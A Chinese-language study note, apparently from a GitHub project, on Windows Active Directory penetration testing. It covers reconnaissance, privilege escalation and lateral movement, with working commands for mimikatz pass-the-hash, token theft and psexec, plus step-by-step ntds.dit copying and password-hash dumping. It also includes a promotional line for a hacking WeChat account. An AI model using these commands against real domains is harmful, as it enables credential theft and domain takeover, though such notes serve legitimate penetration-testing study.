|
Info
Windows域渗透初探,一边学习一边整理,后边还会慢慢补充,大家有意见或者建议的话欢迎提Issue :)
思路
在域环境中,一般的渗透思路如下:
- 获取一台域主机上的一个低权限用户,比如通过Webshell
- 信息收集(贯穿始终)
- 权限提升(提升到高权限来尝试获取其他域用户的登录凭据)
- 横向渗透(利用已经获得的登录凭据对其他域内主机进行渗透,或将当前机器作为代理,对域内其他机器进行扫描)
- 重复上述步骤直至控制域控
信息收集
基本信息:net config workstatsion,包括计算机名、用户名、工作站域、登录域
用户相关:
- 查看域内用户:net user /domain(/domain表示向域控发起查询)
- 查看用户在域内的权限:net user username /domain
- 查看域内用户组:net group /domain
- 查看指定组内的用户:net group groupname /domain
- 查看用户会话:query user
- 查看用户密码/hash:mimikatz,相关知识点
主机相关:
- 主机发现:net view
- 定位域控:net time /domain、echo %logonserver%
- 已知目标IP获取主机名和域内身份:nbtstat -A ip,Linux下:nbtscan
nbtstat和nbtscan主要使用了NetBIOS Over TCP/IP,相关知识点
域内通信主要通过Windows文件共享来实现,相关知识点
其他工具例如msf中post/windows/gather/下的模块同样可以用来收集信息,各个模块的使用方法详见msf文档。
关注公众号:hack之道,后台回复关键词:666,获取最新渗透教程和工具。
权限提升
meterpreter getsystem
- Administrator -> System
- 相关知识点
incognito.exe list_tokens -u
- Administrator -> System / Administrator -> common user
- 通过窃取用户token来获得用户身份,相关知识点
at运行定时任务
- Administrator -> System
- 使用at运行的定时任务都是以System权限运行的,但是运行定时任务需要Administrator的权限。https://support.microsoft.com/en-us/help/313565/how-to-use-the-at-command-to-schedule-tasks
msf exploit/windows/local
misconfiguration
- 利用服务、文件或文件夹等不严格的权限限制,比如允许更改服务设置,允许向加载DLL的位置写入文件等等
- 检查权限的工具:AccessChk,来自Windows Sysinternals
- misconfiguration检查工具:BeRoot
横向渗透
代理、端口转发
- 推荐:Termite
- Meterpreter autoroute、socks4a
- ssh、reGeorg、lcx.exe ...
Remote Command Execution(在获取到远程机器登录凭据的情况下在远程机器上执行命令)
- psexec
- 原理:
通过ipc$连接,然后释放psexesvc.exe到目标机器。
通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
客户端连接执行命令,服务端启动相应的程序并执行回显数据。
限制:需要开启admin$共享和开启445端口
优势:执行成功直接提供System权限
- WMI
- mimikatz pass the hash(适用于不知道用户名密码但是知道hash的情况)
- mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /ntlm:efa85b42d77dc2fdbdbdb767792b0a11"
- This patches in the particular NTLM hash into LSASS memory, turning it into a kerberos ticket.
原理是将特定的NTLM hash补丁放入LSASS内存,将其变成kerberos ticket。
- 这样执行完后已经获得了目标用户的身份,然后就可以用net use等连接目标机器,无需知道用户的密码。
权限维持
- Ntds.dit
- DSInternals Get-ADDBAccount
- Meterpreter smart_hashdump
- impacket secretsdump.py
- $key = Get-BootKey -SystemHivePath 'C:\Extract\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\Extract\ntds.dit' -BootKey $key
- python secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
- 由于该文件在被域使用,所以无法直接copy
- Volume Shadow Copy
- PowerSploit NinjaCopy
- Ntdsutil
- vssadmin create shadow /for=C:
copy VolumeName\Windows\NTDS\ntds.dit C:\Extract\ntds.dit
copy VolumeName\Windows\System32\config\SYSTEM C:\Extract\SYSTEM
vssadmin delete shadows /shadow={ShadowID}
- Invoke-NinjaCopy -path C:\Windows\NTDS\ntds.dit -verbose -localdestination C:\Extract\ntds.dit
- ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\Windows\NTDS\ntds.dit C:\Extract\ntds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
- %SystemRoot%\NTDS\Ntds.dit:真正的数据文件
- %SystemRoot%\System32\Ntds.dit:分发副本,当一台机器升级到域控时,将该文件拷贝到 %SystemRoot%\NTDS\Ntds.dit,域数据由后者记录
- NT Directory Service . Directory Information Tree
- 数据库文件,存储着域数据
- 存储在两个位置
- 文件导出
- 哈希提取
常用工具
Metasploit:https://github.com/rapid7/metasploit-framework
PowerSploit:https://github.com/PowerShellMafia/PowerSploit ,多种PowerShell后渗透模块
Empire:https://github.com/EmpireProject/Empire ,基于PowerShell的后渗透框架,更适合内网渗透
Windows sysinternals:https://docs.microsoft.com/en-us/sysinternals/ ,Windows支持的工具集
Reference
https://3gstudent.github.io/
http://www.fuzzysecurity.com/tutorials/25.html
https://github.com/l3m0n/pentest_study
https://www.offensive-security.com/metasploit-unleashed/post-module-reference/
https://support.microsoft.com/en-us/help/313565/how-to-use-the-at-command-to-schedule-tasks
http://www.fuzzysecurity.com/tutorials/16.html
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
https://blog.stealthbits.com/extracting-password-hashes-from-the-ntds-dit-file/
https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/
作者:imp0wd3r
项目地址:https://github.com/imp0wd3r/active-directory-pentest |
|